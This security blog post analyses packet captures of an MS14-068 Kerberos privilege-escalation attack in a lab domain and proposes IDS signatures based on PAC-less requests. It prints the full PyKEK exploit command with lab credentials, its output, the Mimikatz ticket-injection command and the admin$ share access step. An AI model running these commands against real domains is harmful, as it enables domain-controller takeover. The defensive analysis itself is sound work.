MS14-068 References:
- AD Kerberos Privilege Elevation Vulnerability: The Issue
- Detailed Explanation of MS14-068
- MS14-068 Exploit POC with the Python Kerberos Exploitation Kit (aka PyKEK)
- Exploiting MS14-068 Vulnerable Domain Controllers Successfully with the Python Kerberos Exploitation Kit (PyKEK)
This post shows the packet captures I performed using WireShark on the Domain Controllers during stage 1 and stage 2 of the attack.
Microsoft KB3011780 patches this issue.
Here are the full packet captures:
Stage 1 – Using PyKEK to inject a forged PAC into a valid TGT: ADSecurityOrg-MS14068-Exploit-KRBPackets
Stage 2 – Using Mimikatz to leverage the forged TGT into the user session & connect to the unpatched Domain Controller’s admin$ share: ADSecurityOrg-MS14068-Exploit-KRBPackets-TGTInjection-And-DC-AdminShare-Access
Note: Using the information posted here, it may be possible to create a Snort signature that can identify active MS14-068 exploitation on a network by looking at the TGS-REQ Kerberos packet that states “include-pac: False” (additionally, the AS-REQ packet earlier in the conversation also states “include-pac: False”)
Stage 1 Attack Packets: PyKEK requests and modifies a TGT
.The Python script performs a TGT request (Kerberos Authentication Service Request aka AS-REQ) and instead of requesting a TGT with a PAC (default AS-REQ), PyKEK requests a TGT with no PAC from the Domain Controller.
Once the script receives the valid TGT without a PAC from the DC, the script generates a PAC (with the group membership listed above) packages it in encrypted authorization data as part of a TGS request to the DC (Kerberos Ticket Granting Service Request aka TGS-REQ) to obtain another TGT (a new one with the PyKEK generated PAC).
“The vulnerable KDC will verify it with MD5 and give you another TGT with a PAC in it”.
This is the TGT that PyKEK saves to the ccache file used for stage 2.Since PyKEK communicates with the Domain Controller for valid TGTs, the TGT is a valid ticket (other than the forged PAC it includes). To summarize, there are two TGTs involved in the process: the original one without a PAC as a result of the first AS-REQ and a second one the DC delivers in the TGS-REP with the PyKEK generated PAC.
NOTE: The TGT is technically not modified by PyKEK since it is encrypted by the KDC account (KRBTGT). The process the script uses results in a valid TGT with the PAC PyKEK created that is accepted by an unpatched DC. The genius part of this is that PyKEK uses the Kerberos AS & TGS exchanges to forge a PAC and have the DC place it into a new user TGT. Then when the TGT is presented later on in Stage 2 for a valid TGS, the PAC is accepted and its values carried on into the new TGS for a Kerberos service in AD.
From the post entitled “Exploiting MS14-068 Vulnerable Domain Controllers Successfully with the Python Kerberos Exploitation Kit (PyKEK)“
c:\Temp\pykek> ms14-068.py -u darthsidious@lab.adsecurity.org -p TheEmperor99! -s S-1-5-21-1473643419-774954089-2222329127-1110 -d adsdc02.lab.adsecurity.org
[+] Building AS-REQ for adsdc02.lab.adsecurity.org… Done!
[+] Sending AS-REQ to adsdc02.lab.adsecurity.org… Done!
Stage 1 Packet #1: TGT request (AS-REQ) with no PAC.
NOTE: The AS-REQ for the TGT requests a TGT with no PAC. This may be useful for creating a Snort signature to detect attempted MS14-068 exploitation on the network.
Compare this with a TGT request (AS-REQ) from a Windows client (Windows 7) which requests a PAC by default (click thumbnail to embiggen):
[+] Receiving AS-REP from adsdc02.lab.adsecurity.org… Done!
Stage 1 Packet #2: TGT Response (AS-REP) which returns the KDC encrypted TGT to the client.
[+] Parsing AS-REP from adsdc02.lab.adsecurity.org… Done!
[+] Building TGS-REQ for adsdc02.lab.adsecurity.org… Done!
[+] Sending TGS-REQ to adsdc02.lab.adsecurity.org… Done!
Stage 1 Packet #3: The TGS request notes no PAC should be included and there is an authenticator provided (the generated PAC).
NOTE: The TGS-REQ provides the PAC as part of the request (though no PAC is requested). This can be used to create an IDS signature to detect attempted MS14-068 exploitation on the network.
Compare this with a TGS request (TGS-REQ) from a Windows client (Windows 7) which doesn’t have “include-pac:False”
(click thumbnail to embiggen):
[+] Receiving TGS-REP from adsdc02.lab.adsecurity.org… Done!
Stage 1 Packet #4: The TGS response includes the new TGT which uses MD5 (unkeyed).
Compare this with a TGS response (TGS-REP) from a Windows client (Windows 7) in which the ticket component contains an “enc-part” with the etype: “eTYPE-AES256-CTS-HMAC-SHA1-96 (18)” which is a keyed SHA1 hash.
(click thumbnail to embiggen):
[+] Parsing TGS-REP from adsdc02.lab.adsecurity.org… Done!
[+] Creating ccache file ‘TGT_darthsidious@lab.adsecurity.org.ccache’… Done!
Stage 1 is now complete with a forged TGT.
Stage 2 Attack Packets: Using Mimikatz to leverage the forged TGT & connect to DC Admin$ Share:
This stage leverages Mimikatz to clear the existing Kerberos tickets in memory for the current user and places the TGT created in Stage 1 into memory for use.
At this point, the user can connect to the unpatched DC with full admin credentials. The act of attempting to connect to the Admin$ share on the DC generates a TGS-REQ and resulting TGS-REP (with a KRB-ERR mixed in for spice).
c:\Temp\pykek> c:\temp\mimikatz\mimikatz.exe “kerberos::ptc c:\temp\TGT_darthsidious@lab.adsecurity.org.ccache” exit
.#####. mimikatz 2.0 alpha (x64) release “Kiwi en C” (Nov 20 2014 01:35:45)
.## ^ ##.
## / \ ## /* * *
## \ / ## Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
‘## v ##’ http://blog.gentilkiwi.com/mimikatz (oe.eo)
‘#####’ with 15 modules * * */
mimikatz(commandline) # kerberos::ptc c:\temp\TGT_darthsidious@lab.adsecurity.org.ccache
Principal : (01) : darthsidious ; @ LAB.ADSECURITY.ORG
Data 0
Start/End/MaxRenew: 12/7/2014 3:10:30 PM ; 12/8/2014 1:10:30 AM ; 12/14/2014 3:10:30 PM
Service Name (01) : krbtgt ; LAB.ADSECURITY.ORG ; @ LAB.ADSECURITY.ORG
Target Name (01) : krbtgt ; LAB.ADSECURITY.ORG ; @ LAB.ADSECURITY.ORG
Client Name (01) : darthsidious ; @ LAB.ADSECURITY.ORG
Flags 50a00000 : pre_authent ; renewable ; proxiable ; forwardable ;
Session Key : 0x00000017 – rc4_hmac_nt
af5e7b47316c4cebae0a7ead04059799
Ticket : 0x00000000 – null ; kvno = 2 […]
* Injecting ticket : OK
mimikatz(commandline) # exit
Bye!
c:\Temp\pykek> net use \\adsdc02.lab.adsecurity.org\admin$
Stage 2 Packet #1: The first TGS-REQ for the Admin$ share on the DC using the forged TGT.
Stage 2 Packet #2: Kerberos Error response due to “eRR-ETYPE-NOSUPP (14)” error due to the request including encryption type (etype) eTYPE-AES256-CTS-HMAC-SHA1-96 (18). This is interesting since the TGS-REP shows this etype is indeed supported.
Stage 2 Packet #3: The second TGS-REQ for the Admin$ share on the DC.
Stage 2 Packet #4: The TGS-REP to the second TGS-REQ for the Admin$ share on the DC.
From here, the user has a valid TGS for the CIFS service on the DC and can use it to access the admin$ share via SMB.
References:
Recent Comments